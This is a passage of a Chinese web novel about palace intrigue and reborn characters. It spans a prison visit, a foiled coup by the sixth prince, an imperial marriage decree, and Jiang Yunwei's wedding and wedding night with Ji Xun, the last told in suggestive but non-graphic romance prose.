姜芸薇下意识地捂紧了些,似乎恨不得将自己身上的体温都尽数渡到他的身上,她声音有些哽咽,“阿珣,我知道你是被冤枉的,我一定会想办法救你的。” 闻言,季珣心头微震,一时竟生出几分难言的触动,他没想到,阿姐竟然愿意相信他。 他起初还以为,阿姐也会和旁人一样,认定岑墨之死是他所为。 瞧见这一幕,秦婉终究有些于心不忍,她扬声唤来狱卒,命令其打开牢门,狱卒不敢违逆她的吩咐,连忙将牢房门打开。 秦婉轻叹道:“你们有什么话快些说吧,我去外面等你,记住只有一刻钟的时间。” 姜芸薇快步上前,颤抖着抬手抚上季珣的脸颊,不过才短短数日不见,他却似乎消瘦了许多,昔日清隽如玉的面容,如今覆着一层苍青色的胡茬,眉眼间尽是疲态。 季珣轻声道:“阿姐,我身上脏,别弄脏了你的手。” 他白玉般的脸颊上也沾染了几丝血迹,将那张俊美的脸衬托得多了几分妖冶。 姜芸薇颤抖着嗓音,“阿珣,他们是不是对你用刑了?” 季珣的神情倒是分外平静,他的眸中甚至蕴着几分笑意,“阿姐,我真的没事,你不必担心,不过只是些皮外伤罢了。” 瞧见他温柔的神情,姜芸薇心中越发酸涩,她目光落在他的身上,久久没有离开。 季珣伸出手,轻轻拂过她脸颊边的碎发,“阿姐,我答应过你,要娶你为妻的,你放心,我不会违背诺言的,你等我,我很快就会出去,到时候定会风风光光地娶你为妻。” 姜芸薇愣了一下,看着他眸中的温柔之色,她心情竟奇异般的平静了下来。 季珣向来言出必行,既然他这般说,那她就愿意相信。 姜芸薇眼眶泛红,语气坚定道:“好,阿珣,我会等你,不管多久,我都会等你。” 季珣怜惜地握住她的手,温声道:“阿姐这些日子,就不要再来看我了,你就安心待在公主府,等我回来。” 季珣如何知晓她待在公主府? 刹那间,姜芸薇似乎想明白了什么,她却没有多问,只是轻轻颔首应道:“好。” 待到出了天牢后,姜芸薇的心情已经平静了不少。 秦婉瞧见她,笑着上前,调侃道:“怎么样?见到人了,现在可以放心了?” 这些日子,姜芸薇和秦婉两人也熟悉了不少,她对这个圣上最宠爱的公主,也没有了起初的拘谨和畏惧,秦婉虽然性情娇纵了些,其实却极好相处。 姜芸薇面色凝重地望着她:“公主殿下,阿珣他到底在谋划什么?“ 此言一出,秦婉面上的笑意顿时消失了,她轻叹了口气,“你别问我,我什么都不知道,总之,这段时日,你先待在公主府陪我吧!” 姜芸薇知晓问不出什么,索性不再多言,总之,季珣安然无恙,她就放心了。 第75章 第75章 阿姐,你还有我 这些日子, 晋文帝病得越发严重了,隐隐有到了油尽灯枯之势。 他捂着嘴唇,剧烈咳嗽起来, 猛地呕出一口血, 那抹殷红深深刺痛了晋文帝的双眼。 养心殿内一片寂静,平日里伺候的宫人此刻都消失不见,似是暴风雨来临的前兆, 安静的令人隐隐感到有些不安。 晋文帝伸出枯瘦的手指, 颤颤巍巍地探向一旁桌案上的茶盏,偏生手指绵软无力, 那茶盏霎时被拂落在地,发出“砰”的一声脆响, 四分五裂, 碎瓷遍地。 晋文帝顿时怒不可遏, 大喝道:“来人!人呢, 都死哪去了?” 话音刚落, 一道身影自殿外不急不缓地走了进来。 他拿起桌面上的茶盏,倒了一杯茶水,躬身递到晋文帝的手中。 此人正是六皇子秦彰。 晋文帝如同渴水的鱼,接过茶盏大口大口地喝了起来,他的喉间时不时发出粗重浑浊的喘息声。 秦彰静静立在榻前,看着晋文帝鬓边斑驳的白发,他轻叹了口气, “父皇,您是真的老了,而儿臣还年轻,不如父皇您写一纸退位诏书, 传位给儿臣吧。” 晋文帝闻言,猛地抬头,怒视看着秦彰,“你这个逆子,你这是想要谋反?” 秦彰嗤笑一声:“父皇,养心殿已经被禁卫军围得水泄不通,您若是肯写一纸退位诏书,儿臣尚可尊您为太上皇,保您安享晚年,您如今年老昏聩,早已无力理政了,何不退位让贤呢?” 晋文帝气得胸膛剧烈起伏,他颤抖着抬手指着秦彰,“你这个不孝子孙!” 秦彰闻言,情绪也陡然变得激动起来,他冷笑道:“我不孝?那父皇你的眼里又何曾有过我这个儿子?你恐怕连我的生母是谁都忘了吧,她只是一个地位卑贱的宫女,你宠幸过后,便将她抛在脑后,在你的心目中,恐怕只有秦煜和那个废物先太子才是您的儿子,若不是上次祭祖时,我不顾性命为你挡刀,恐怕你压根都不记得我这个儿子。” 顿了顿,他又讥笑道:“父皇是不是还在指望着秦煜来救你?别想了,在他心目中,女人可是比你这个父皇要重要多了,他的心上人跑了,他这会已经秘密赶赴江南,去寻那个女子去了,他不会再回来救你了。” 话毕,秦彰仰头大笑哈哈起来,“父皇,你如今只有我了,把皇位传给我吧,我比你更适合坐这个位置。” 晋文帝急火攻心,猛地呕出一大口血,喷洒在锦被上,他颤声道:“你这个逆贼,想让朕传位给你,你休想!” 秦彰狞笑道:“父皇,你可不要禁酒不吃吃罚酒,不管你愿不愿意,今日这江山,都该易主了。” 他为这一日,已经筹谋了许久,他乃是重活一世,本就占尽先机,他当初雇了杀手,本想置季珣于死地,不曾想季珣却活着回来了。 不过那也没关系,他早就将季珣过往的事情都调查的一清二楚,他派人杀死岑墨,嫁祸给季珣,令其身败名裂,身陷囹圄。 至于秦煜,他亦有软肋,他强夺臣妻,对那个女子早已情根深种,难以自拔,偏那女子性情刚烈,几次三番想要逃离他的掌控,前世,秦煜便是为了这个女子丢了性命。 此番,他早已暗中遣人,助那女子脱身逃往江南,而秦煜这个痴情种,此刻已经不顾一切追了上去,这一切,皆是前世便已上演过的旧事,分毫未差。 而唯一的变数季珣,如今也早已经身在狱中,自顾不暇。 晋文帝病重,他便趁此时机,逼宫谋反,一切皆在他的掌控之中。 然而就在此时,殿门蓦地被推开,秦煜一身玄色铠甲,手握长剑,笑道:“六弟未免言之过早。” 秦彰猛地回头,待瞧见来人时,他脸色骤变,不可置信道:“你怎么会在此处?你不是去江南了吗?” 秦煜未语,季珣自他身后走出,微笑道:“去江南不过只是一个幌子罢了,真正去江南之人乃是三皇子的心腹。” 秦彰脸色煞白,他声音尖利,嗓音发颤,“季珣!你不是应该在天牢里吗?” 季珣好整以暇地望着他:“我为何要在天牢之中?岑墨他根本就没死,我早就猜到你会对他动手,是我救了他,再将计就计,引你上钩罢了。” 秦彰似乎意识到了什么,面如死灰,浑身抖若筛糠。 季珣缓步上前,他附在秦彰耳边,用只有两个人才能够听得到的音量,低笑道:“螳螂捕蝉,黄雀在后,六皇子,别忘了,重生之人,可不止你一个。” 秦彰猛地抬眼,望向季珣的目光中,充满了噬骨恨意。 前世,他处处受季珣打压,哪怕是登上了皇位,也不过是个傀儡,权势尽数握在季珣的手中。 这辈子,他费尽心思,眼看就要坐上那个位置,却又因为季珣毁于一旦,满腔筹谋付之东流,他如何能够不怨恨! 秦彰狞笑一声,语气阴毒刺骨,“你可知晓,前世你死了以后,我是如何处置你姐姐的?我把对你的愤恨尽数都发泄在了她的身上,拶刑、杖刑,这些刑罚我都在她的身上试验了一遍,可怜那么一个如花似玉的大美人,最后却被打的血肉模糊,我只好下旨,派人将她丢到乱葬岗喂狼去了,连个全尸都没有留下。” 闻言,季珣额间青筋直跳,周身瞬间迸发出浓烈的杀意。 他明明知晓秦彰是故意夸大其词,意在激怒于他。 然而,他的心底却仍被滔天怒焰瞬间吞没,再难自控,他甚至忍不住想要出手,杀了秦彰。 瞧见季珣情绪不对,秦煜连忙冷声道:“六弟,你勾结禁军偏将,逼宫谋反,如今你的人都已经都伏诛了,你还不快束手就擒。” 闻言,秦彰再也顾不上季珣,他一番筹划付诸东流,顿时面如死灰,颓然瘫倒在地,满心绝望,任由门外的禁军一拥而上,将他死死按压住。 瞧见这一幕,晋文帝悬着的一颗心顿时落了地,他两眼一翻,昏死了过去。 * 经此变故,晋文帝身子愈发衰颓,知晓自己恐怕当真是时日无多了,他不得不颁下圣旨,传位给秦煜,新皇登基,大赦天下。 秦煜刚登基后,便亲下圣旨,为季珣洗刷冤屈,岑墨压根就没有死,季珣杀人灭口的流言蜚语,自然也是不攻自破。 此外,秦煜还封了姜芸薇为安平县主,为她和季珣赐婚。 姜芸薇接到圣旨时,还有些不敢置信。 季珣握住她的手,笑着解释道:“阿姐,我已经派人查清了你的身世,你的父亲乃是已故的姜将军,当初,你随着父亲回乡省亲,却不慎走丢,被人牙子拐走,你失踪后,你的父母一直在到处寻你,只不过六年前,你父亲征战沙场,为国捐躯,你母亲悲恸不已,一头撞在棺木上,随你父亲去了,这些年,姜家逐渐败落,被人遗忘。” 姜芸薇心中泛起一阵波澜,久久难言。 原来,她并不是被父母抛弃的孤女,而是被人牙子给拐走的,一时惊悸之下,失了过往记忆,除了自己的名字以外,她什么都不记得了。 没想到,她的父亲竟然是镇守疆场的大将军,母亲是知书达理的 大家闺秀,六岁之前,她一直都住在京城,此处原本就是她的家。 一股酸涩感骤然涌上心头,堵得她胸口发闷,姜芸薇涩声道:“阿珣,你能否带我去我幼时居住的地方看看?” 季珣点了点头,“自然可以。” 两人乘坐马车,来到从前的姜家。 此处显然已经荒废许久,朱漆大门上的铜环满是斑斑锈迹,廊柱上的红漆也早已掉落,角落里结着厚厚的蛛网,门是虚掩着的,轻轻一推,便发出刺耳的声响,漫天的尘土扑面而来。 院内长满了杂草,姜芸薇一步步往前走,途径一株桃花树时,她蓦地停住了脚步。 一些模糊的片段骤然在脑海中浮现,幼时,她总是喜欢坐在父亲的肩头,去摘树上的桃子里,这时候,母亲温柔的嗔怪声便会自身后传来。 姜芸薇心绪触动,她推开门走入一间厢房,屋内空荡荡的,只剩一张朽坏的床榻孤零零立着,桌面上放着一个满是灰尘的木盒,她打开看了一眼,只见里面都是些小孩子的玩具,拨浪鼓,兔子灯,老虎布偶…… 姜芸薇眼眶瞬间红了,她想起来了,这些都是她儿时的旧物。 曾经,她也是父母捧在手心的明珠。 只可惜,如今生死相隔,再无相见之日。 季珣将她拥入怀中,轻轻拍着她的后背,恍若安慰孩童般,嗓音分外轻柔,“阿姐,别难过。” 姜芸薇扑在他胸膛,放声大哭,“阿珣,我再也见不到我的父母了。” 季珣嗓音温柔得似乎能够滴出水来,“阿姐,你还有我,我会一辈子陪着你的。” 他们很快就要成亲了,到时候,他们便是名正言顺的夫妻了,这婚乃是皇上亲赐,再也没有人敢在背后妄议他们,他们会一辈子在一起,长长久久,永不分离。 第76章 第 76 章 一生护她爱她,永不相负…… 毕竟是皇上赐婚, 这场婚宴自是办得分外隆重。 婚期就定在了八月初八,这日乃是钦天监择定的良辰吉日,桂香满城, 秋高气爽。 姜芸薇一大早便起来了, 周围簇拥了乌泱泱一大群人,足足是上次成亲时的好几倍。 好几个喜娘围着她上妆,开脸, 绾发鬓, 好一阵忙活。 就连秦婉,都凑在一旁, 好奇的望着。 姜芸薇原本以为,她和季珣两人想要名正言顺的在一起, 应该不会太容易, 毕竟他如今乃是朝廷命官, 不知道有多少双眼睛正盯着, 哪怕他们不是亲姐弟, 也难免被人诟病。 当初季珣曾言,说一切有他,让她不必忧心,她那时只当是宽慰之语,没想到,他竟真的求来了赐婚的圣旨。 皇上赐婚,抗旨不尊便是死罪, 这样也好,往后,再也没有人敢议论指摘些什么,至于她心底那点微弱的挣扎与不安, 在赐婚圣旨面前,也变得无足轻重。 这一次,她决定遵从本心。 喜娘笑着说道:“姜姑娘当真是个美人胚子,季大人真是好福气。” 周围的人亦是连连附和。 姜芸薇红着脸,望向镜中的自己。 这身嫁衣乃是季珣特意置办的,比她先前嫁给岑墨时所穿不知要华贵多少,金色的丝线在日光下泛着细碎华光,上面绣着缠枝莲花的图案,层层罗裙繁复华丽。 凤冠明珠垂在额间,随着步履轻轻晃动,衬得她整个人面若芙蕖,眉目如画,比之平日里清婉动人的模样,多了几分妩媚与秾丽。 姜芸薇瞧着镜中自己陌生的模样,心中一时不禁有些紧张。 这是之前将要嫁给岑墨时,并未有过的情绪。 她从未想过,有朝一日,她竟然会嫁给季珣。 她相信季珣是真心爱护她的,昔日柳溪村朝夕相伴,两人相依为命,他处处护她、为她出头,这些年,从柳溪村到京城,他待她的心始终如一,甚至愿为她豁出性命。 她相信阿珣,他一定不会辜负她,往后,他们一定会幸福的。 想到这里,姜芸薇紧张的情绪也消散了几分。 秦婉眨了眨眼,促狭笑道:“芸娘,你生得真美,怪不得季珣当初要拒了和我的赐婚呢,原是心中早就藏着这么一位貌若天仙的佳人。” 这些日子相处下来,姜芸薇和秦婉也算是分外相熟了,然而,听到她这样说,姜芸薇还是不免有些惶恐,连忙正色道:“公主,当初阿珣拒婚之事,确实是他行事鲁莽,有损公主你的颜面,我替他向你道歉。” 秦婉摆了摆手,似乎毫不在意,“免了,说起来,我还得感谢他呢,多亏了他当初没答应父皇的赐婚,他那个人冷得像块冰一样,脾性实在太差了,也就皮囊生得好看些,我真不知道你喜欢他什么。” 姜芸薇被她逗笑,唇角微微扬了扬。 季珣脾性确实不好,他清冷寡言,周身总带着几分拒人于千里之外的疏冷,唯独只有在她面前时,才会变得格外温柔,缠人。 而姜芸薇,正是被他这份,只给予她一人的温柔与偏爱所打动。 “芸娘,太好了,总算是赶上了,没有误了吉时。” 身后蓦地传来一道分外熟悉的嗓音。 姜芸薇回头看去,顿时怔住了,她又惊又喜,“许娘子,怎么是你?” 眼前之人,竟然是当初她住在青阳镇时的邻居许娘子,想当初,许娘子的夫君秋闱落榜后,她便和夫君回老家了,而她也随着季珣远赴京城,自此天各一方,姜芸薇原本以为,今生都难以相见,万万没有想到,她成婚之日,许娘子竟然会来。 “是季大人让我来的,我三个月前,便收到他的书信了,他还派人专门护送我过来。”说到这,许娘子轻叹了口气,语气颇为感慨,“芸娘,我真没想到,兜兜转转,你果真还是嫁给他了,不过这样也好,我看得出来,他是真心待你的。” 倘若季珣不是真心爱着她,又怎么会大费周章派人去找自己这么一个无足轻重的小角色,只为了令姜芸薇开心一些呢? “此事他竟然没有告诉我。”姜芸薇笑着握住许娘子的手,眼底漾满了喜悦,她轻声说:“许娘子,能够再见到你,我真的很开心。” “我也是。”许娘子点了点头,她轻轻拍了拍姜芸薇的肩膀,“季大人是想要给你一个惊喜,还好来得及,能够看到你出嫁。” 她是真的没有想到,季珣竟然能够为了姜芸薇做到这一步,他如今圣眷正浓,不知道有多少高门贵女想要嫁给他,他甚至拒绝了皇上的赐婚,只为了和姜芸薇在一起,既然姜芸薇在意世人的看法,他便索性求来一道赐婚的旨意,令人再也无法指摘。 听闻姜芸薇当初曾经许过一门亲事,却被季珣从中作梗,最终也没有嫁成。 如今兜兜转转,他们两人终究还是走到了最后,或许这就是上天注定吧。 许娘子收回思绪,感慨道:“芸娘,你一定会幸福的。” 两人又寒暄了几句,吉时很快就 到了。 皇上特意下旨,准姜芸薇从公主府出嫁。 季珣骑着高头大马,一袭绯色喜袍,俊朗不凡,他身后的迎亲队伍浩浩荡荡,从公主府外一路蜿蜒到巷尾,恍若没有尽头般,整个长街上都布满了喜庆的红色。 姜芸薇没有亲人长辈,许娘子便亲自执着她的手,放到季珣手中,语气凝重道:“季大人,芸娘是个好姑娘,往后你要好好待她。” 季珣稳稳握住姜芸薇的手,他颔首应下,语气郑重,“我会的,我会一生护她爱她,永不相负。” 姜芸薇心跳如擂鼓,她头上蒙着红盖头,什么也看不清楚,却能够感受到季珣的掌心炙热、温暖,紧紧地包裹着她。 心里头那几分缥缈虚浮的不真实感,顷刻间尽数散去。 她真切的意识到,她是真的要嫁给季珣了。 季珣清朗如磁的嗓音在耳边响起,“阿姐,我扶你上轿。” 姜芸薇红着脸点了点头,她刚坐上喜轿,便听闻爆竹、鼓乐声接连响起,花轿被稳稳抬起。 长街两旁挤满了围观的百姓们,大家都想亲眼目睹这场空前隆重盛大的婚礼,孩童们忙着哄抢迎亲队伍洒下的喜糖,就连沿途的树梢上都挂满了红色的绸缎,一派喜气洋洋。 “这季大人生得真俊俏啊,听闻他为了新娘子,连先皇的赐婚都拒绝了,真好奇这新娘子是何相貌。” “今日这十里红妆的排场,恐怕真要羡煞全京城的女子了。” “我曾见过那位姜姑娘一面,相貌生得好,性子也和善,两人真是郎才女貌。” …… 今日这场婚宴,来了许多宾客,岑墨亦在其中。 他原本是不想来的,只是最后,却还是鬼使神差的来了。 当初他险些命丧六皇子派来的刺客之手,危急关头,是季珣救了他一命。 岑墨如今的心情分外复杂,一方面因季珣毁了他与姜芸薇的婚事而心怀怨怼,而另一方面,又感念对方的救命之恩。 这些日子,他想了许多,或许季珣说得没错,姜芸薇生得一副好容貌,定然会引人觊觎,今日即便不是季珣,来日也定会有旁人对她图谋不轨,而以他如今的能力,压根护不住她。 后来姜芸薇也来寻过他一回,她满脸愧疚地向他致歉,并坦言她如今是真心实意想要嫁给季珣。 岑墨毫无办法,只能够放手。 哪怕心不甘情不愿,亦是无可奈何,因为他压根争不过季珣。 他时常忆起,那日大雪纷飞,他在客栈阶前扫雪,而姜芸薇身着红色斗篷,蹁跹而来,笑着递给他一支笔,祝他金榜题名。 那是他生平头一回心动,没想到就这样以失败告终。 这几日,赵媒婆又为他重新说了一门亲事,那女郎家境寻常,容貌清丽,性子温婉柔顺,正是他心仪的模样。 两人见了几次,相处的还算不错,或许再过不久,他就能够彻底放下姜芸薇,忘却这一场年少时的情窦初开,寻到属于自己的良人,两人再生几个孩子,儿女绕膝,一家人其乐融融。 他和姜芸薇,终究是有缘无分。 * 自从两人相识以来,这还是林遇头一回瞧见季珣这么高兴。 他端着酒杯上前,笑道:“阿珣,今日是你和姜姑娘的大喜之日,祝你们新婚大喜,白头偕老。” 季珣转头睨他一眼,眸光深了几分,“多谢林兄,”顿了顿,又笑道:“恐怕林兄也好事将近了。” “什么?”林遇一头雾水。 季珣似笑非笑,“想来再过不久,林公子就要尚公主,做当朝驸马了。” 林遇闻言,不知想起了什么,面色微变。 他正欲开口,眼角余光却瞥见秦婉正朝此处走来,林遇心头一慌,连忙转过身,往僻静人少处走去。 刚走了没几步,秦婉便追上来,拦住他的去路,笑道:“林公子为何一瞧见我就急着离开,莫非,是不想对我负责了?” 秦婉本就生得明丽,她一笑,容色愈发鲜活,双眸顾盼生辉,媚态天成。 二人虽身处廊下僻静角落,可周遭宾客往来,欢声笑语声不绝于耳,林遇慌忙抬手,捂住她的红唇,压低声音道:“公主慎言,上次那个吻,只是一个意外,况且是公主你先……” 他话还没说完,掌心骤然传来一阵温软湿濡的触感。 秦婉竟如猫儿般,用舌尖轻轻舔了舔他的手心。 林遇浑身一僵,脸色瞬间爆红,他如遭雷击般,猛地收回了手。 第77章 第77章 他和阿姐真的结成夫妻 红烛高燃, 映得满室生辉。 屋内暖融一片,到处都洋溢着喜庆的红色。 许娘子笑着走进屋,“芸娘, 累了吧?季大人还在外面宴饮招待宾客, 我先帮你把凤冠拆了,你再吃些糕点垫垫肚子。” 姜芸薇连忙摇头道:“许娘子,这于理不合。” 新妇怎可提前拆凤冠, 取下红盖头进食呢?按照礼数, 她要在此处等着季珣回来才是。 许娘子笑道:“芸娘,你就放心吧, 是季大人交代我这样做的,这发冠太重了, 压得人脖子不舒服, 季大人体谅你, 这才特意叮嘱我过来的。” 闻言, 姜芸薇心中顿时涌起一阵暖意, 季珣虽然性子冷清,却格外细心周到。 然而,她素来最重规矩礼数,不免还是有些犹豫。 许娘子早已熟知她的性子,干脆走上前,一把掀开她的红盖头,再强硬地将那沉甸甸的凤冠取了下来, 搁在一旁,“哎呀,季大人又不是拘泥礼数之人,你就不要再坚持了, 都戴了好几个时辰了,脖子都酸了,等到时候宾客们来了,再戴上就好了。” 姜芸薇只好红着脸点了点头。 她吃了些糕点垫垫肚子,又陪着许娘子说了会话,大概过了半个时辰,门外传来碧荷和春桃两个丫鬟行礼的声音,继而,又响起一阵杂乱的脚步声。 是季珣回来了。 还有来看热闹的宾客。 姜芸薇莫名紧张起来,一颗心砰砰直跳。 许娘子为她戴好凤冠,又将红盖头重新盖上。 姜芸薇规规矩矩在床沿边坐好。 许娘子笑着打趣道:“季大人这是怕你等久了,特意提前过来的。” 闻言,姜芸薇脸颊微红,心底悄然漾开一缕甜意。 不过片刻,新房内便挤满了乌泱泱一群人,喜婆笑吟吟道:“吉时到了,新郎官该为新娘子掀盖头了。” 季珣接过喜婆递过来的喜秤,动作分外温柔地挑起红盖头。 姜芸薇清丽绝俗的容颜霎时展露在众人面前。 满堂之人皆是呼吸一滞,似是看呆了,片刻后才轰然起哄,赞叹声不绝于耳。 这新娘子果真极美,一身大红色嫁衣裹身,眉目如画般动人,直叫人移不开眼。 眼见众人目光尽数落在姜芸薇身上,季珣心底顿生不悦,就连周身的气息都冷了几分。 许娘子深知他的性子,连忙抢先道:“新娘子果真是貌若天仙,和新郎官简直是天作之合,接下来该喝合卺酒了。” 喜娘回过神来,忙不迭附和道:“是啊是啊,该饮合卺酒了,祝两位新人往后长长久久。” 众目睽睽之下,要和季珣共饮合卺酒,姜芸薇一时羞得脸颊滚烫,像是煮熟了的虾子,她连头都没敢抬,在一片哄闹声中,和季珣臂弯交缠,饮下了合卺酒。 待到喝完合卺酒后,许娘子便笑着将一众看热闹的宾客都劝离了,给这对新婚夫妻独处的时间。 方才还喧嚷热闹的新房,陡然间安静了下来,姜芸薇有些不自在地抬眸,恰好撞进季珣温柔深邃的眼眸中,他眼底盛着化不开的浓情,痴痴地望着她,“阿姐,我等这一日,已经等了许久了,你终于是我名正言顺的妻了。” 姜芸薇脸红了红,她小声道:“这么说来,你早早就惦记上我了?阿珣,那个时候你才多大年纪,也不知晓好好读书……” 季珣俯身,在她额间映上一吻,蜻蜓点水般,一触即分。 继而,他将额头抵在她的额间,两人鼻尖挨着鼻尖,呼吸交缠在一起,他的嗓音低柔缱绻,“阿姐,我比你大多了。” 前世他死的时候,都已经快到而立之年了,重生归来后,虽然这具躯体尚且年少,然而,其内里心智,却早已不似少年。 姜芸薇并没有听清楚他方才所言,她有些慌乱地推了他一把,“阿珣,你别蹭我脸 啊,我还没卸妆呢。” 两人离得近了,姜芸薇这才闻到他身上浓烈的酒味,她蹙了蹙眉,“阿珣,你是喝醉了吗?” 季珣缓缓抬手,指腹轻轻拂过她的脸颊、鼻梁、红唇,他目光沉沉,近乎贪婪地描摹着她精致如画的容颜,“阿姐,芸儿,娘子,我没醉。” 他似乎当真醉得不轻了,口中翻来覆去地变换着称呼,唤她的名字,声声缠绻,似钩子一般,勾的姜芸薇浑身发烫,心口狂跳,几乎要破腔而出。 姜芸薇颤声道:“阿珣,你……” 话还没说完,季珣已经将手指抵在她的唇边,“娘子,你如今怎么还唤我阿珣,是不是该改口了?” 他的嗓音极其喑哑低沉,分外好听,姜芸薇听得心口有些发烫,她纤长的睫毛轻轻颤了颤,柔声唤了一句,“夫君。” 这一声柔软的轻唤,刹那间点燃了季珣心中压抑许久的感情,他俯下身子,炙热而又汹涌的吻,霎时铺天盖地地落了下来,落在她的脸颊,眉心,最终停留在她柔软的唇瓣处,辗转缠绵。 姜芸薇唇上的嫣红口脂,早就已经被他吻得凌乱不堪,晕染在唇角,像是揉碎了的梅花花瓣,艳得动人心魄。 姜芸薇双手轻轻推了推他的胸膛,嗓音带着几分颤意,她再次提醒道:“别,夫君,我还没卸妆。” 闻言,季珣总算是停住了动作,他眸光温柔地望着她,“那我为娘子卸妆。” 姜芸薇下意识地便想开口拒绝,季珣却不由分说地将人打横抱起,朝着屏风后的净室走去。 “阿珣,你……” 姜芸薇始料未及,身体突然腾空,她下意识地伸出双手,紧紧揽着季珣的脖领。 季珣低笑一声,胸腔发出一阵轻微的震动,“好阿姐,你又叫错了,该罚。” 姜芸薇磕磕巴巴,“罚什么?” 季珣在她耳畔低声道:“阿姐晚点就知晓了。” 季珣身上的气息钻入鼻腔,蔓延至五脏六腑,姜芸薇分明没有喝酒,却觉得自己似乎也有些醉了,醺然欲醉,神智昏昏。 季珣将她放在小桌上坐下,他转身取来帕子,浸了温水细细拧干,又俯身过来,一点点擦去她面上的脂粉,他的动作分外温柔,似乎生怕弄疼了她。 姜芸薇目光一瞬不瞬地凝望着他。 眼前少年眉眼专注,他漆黑深邃的眸中倒映着她的身影,似乎眼底只容得下她一个人。 铅华洗尽,露出姜芸薇清丽的面庞,她的肌肤很白,看不出半点瑕疵,两腮晕着桃红色,一双杏眸水润,抬眼望向他时,又带着几分羞怯。 洗漱过后,季珣将她抱回床上,他凝眸望着她,“阿姐,今夜是我们的洞房花烛夜,早些安置吧。” 姜芸薇下意识地揪住了身下的颈被,紧张的背上都出了一层薄汗,八月的天气,尚且还分外闷热,屋内的气氛似乎陡然间变得粘稠、滚烫起来。 少年修长的指节轻轻剥开华丽的婚服,露出少女裹在婚服下的雪玉肌肤,白得灼人眼目,乌黑的发丝如云般垂落至腰侧,在烛光的照耀下,泛着柔润的色泽。 季珣灼热的视线,自她光裸的肌肤一寸寸逡巡而过,他的眼神恍若有了温度,姜芸薇只觉得被他看过的地方,烫得像是快要烧起来了。 他的目光太过直白炙热,姜芸薇羞得面颊绯红,她下意识地扯过锦被,试图遮住裸露在外的肌肤。 “阿姐。”季珣很快欺身而上,他抬手扯落金钩上拢着的床帐,低头亲吻她的眉眼,动作起初还分外温柔,尔后又变得强势而又急切起来。 他的长发垂落在身前,拂在姜芸薇的胸口处,泛起一阵酥麻的痒意,她忍不住瑟缩着躲了一下,“痒。” 季珣身上的体温很高,带来一阵蓬勃的热气,屋内虽然放着冰鉴,姜芸薇却还是觉得燥热不已,心里头恍若燃烧着一簇火焰,烧得她心口都有些隐隐发慌。 洞房花烛夜,她自然知晓今夜要做些什么,往日里季珣虽总爱与她亲昵胡闹,然而两人却从未走到过最后那一步,而今日就要…… 想到这,姜芸薇心跳骤然加速,乱了节拍。 季珣头埋在她的胸膛处,“阿姐,你的心跳得好快,你很紧张吗?” “阿珣,我……唔” 姜芸薇话还没有说完,季珣的吻便落了下来,如同细细密密的雨水,润泽她周身的每一处角落。 姜芸薇被吻得七荤八素,唇间不自觉发出几声的轻喘娇吟声,待到反应过来时,她脸颊瞬间爆红,整个人羞耻到了极点,她慌忙咬紧唇瓣,竭力压抑住,不想再发出这样羞人的声音。 “阿姐。”季珣指尖轻轻拂过她嫣红的唇瓣,恍若蛊惑般在她耳边轻声说道:“别忍着,叫出声来,我喜欢听阿姐这样的叫声。” 桌上红烛燃烧,时不时发出“噼啪”声响,在帐幔上映出两人交叠的身影。 当初要嫁给岑墨的时候,赵媒婆曾经给姜芸薇看过避火图,她说,女子头一遭,都难免有些不舒服,痛过这一次,往后便好了。 姜芸薇也说不上来自己此刻究竟是什么感觉,脑海中一片空白,意识全无,她感觉自己似乎变成了海面上沉浮的一叶扁舟,在风雨中摇曳晃动着,海浪时不时拍打涌来,一时轻,一时重,她无力抵抗,只能随波沉浮。 龙凤喜烛静静燃烧,透过薄纱帐幔,洒下一片朦胧暖光,氤氲在两人周身。 姜芸薇喉间抑制不住发出低吟声,足尖绷成一线,手指紧紧攥着身下的大红色锦被,感受着那股陌生而又令人愉悦的快感,似乎灵魂都在跟着颤栗。 到了后半夜,姜芸薇感觉整个人都累得快要散架了,偏偏季珣却像是不知疲倦般,摆弄着她的身子,在她耳边轻喃着,蛊惑般诱她一遍遍唤他夫君。 待到结束后,姜芸薇整个人就像是刚从水中捞起来一般,身上香汗涟涟,就连额发都被汗水浸湿了,湿漉漉的贴在额角,她的眸子也变得湿淋淋的,恍若荡漾着潋滟春色。 红烛早就已经燃尽,天空露出了鱼肚白,季珣将她轻轻抱起,柔声道:“阿姐,我抱你去洗一洗。” 姜芸薇困得连眼睛都睁不开了,此刻也顾不上什么羞不羞的,只能软软地倚靠在他的怀中,无力地点了点头。 季珣抱着她到了净室,为她清洗干净,紧接着,又将她抱回床上躺了下来。 夏日天气炎热,屋子里热的像是蒸笼一般,看着姜芸薇额间的汗水,季珣取过一旁桌案上的蒲扇,“阿姐,你热不热,我为你打扇?” “夫君,时候不早了,早些歇息吧。” 姜芸薇掀开眼皮看了他一眼,她显然是累极了,连说话的力气都没有了,不等他回应,很快又闭上眼睛睡了过去。 烛火昏黄摇曳,她的睡颜分外恬静,季珣目光灼灼地望着她,听着她轻浅平缓的呼吸声,心底被一股巨大的喜悦感包裹着。 直到此刻,他才觉得这一切都是真实的,眼前的姜芸薇是如此鲜活,触感温热,而非他梦境当中,那具冰冷的尸体。 他和阿姐真的结成夫妻,骨肉相融,再也不分彼此了。 季珣毫无睡意,索性坐在一旁,轻轻摇着扇子,为她驱散夏日的炎热。 * 姜芸薇这一觉足足睡到了晌午时分,她一睁开眼,便瞧见躺在身侧的季珣,他还未醒来,墨发散落在枕上,眉目清隽,只是不知梦到了什么,眉心微微蹙起。 姜芸薇情不自禁地伸出手,似是想要抚平他眉心的褶皱。 “阿姐,你醒了?”季珣骤然睁开眼睛,目光落在她的身上。 被他这样的视线看着,姜芸薇脑海中顿时浮现起昨日的情景,心中不禁有些羞窘,她垂着脑袋,轻轻“嗯”了一声。 季珣关切问道:“身上可还有不舒服?” 姜芸薇咬着嘴唇,没有说话。 她今日醒过来时,便觉浑身酸痛,尤其是那一处,分外不适,甚 至隐隐有些胀痛。 然而这些,她自是不好意思告诉季珣,只好摇了摇头,“没有。” 她瞧见季珣脸色不好,眼下一片黑青,不由问道:“夫君,你昨夜什么时候睡的,是不是没有歇息好?” 昨夜,他一直在给姜芸薇打扇子,直到天快要亮了,这才躺下入睡。 季珣垂下眼帘,“没事,只是这几日太累了,阿姐不必担心。” 姜芸薇若有所思地点了点头。 季珣前段日子在天牢之中待了那么长时间,后来出来后,又忙着处理朝政之事,新皇登基,朝中事物亢杂,而他却还要抽空筹备婚事。 想来这段时日,确实是累着了。 思及此,姜芸薇柔声道:“夫君,要不你再继续睡会,我先去洗漱。” 话毕,她下意识地掀开帐幔,顿时瞧见了满地的狼藉。 地上散落了一地的衣物,她的,还有季珣的,甚至还有她的小衣和亵裤,令人一眼就能够瞧得出来昨夜发生了什么事情。 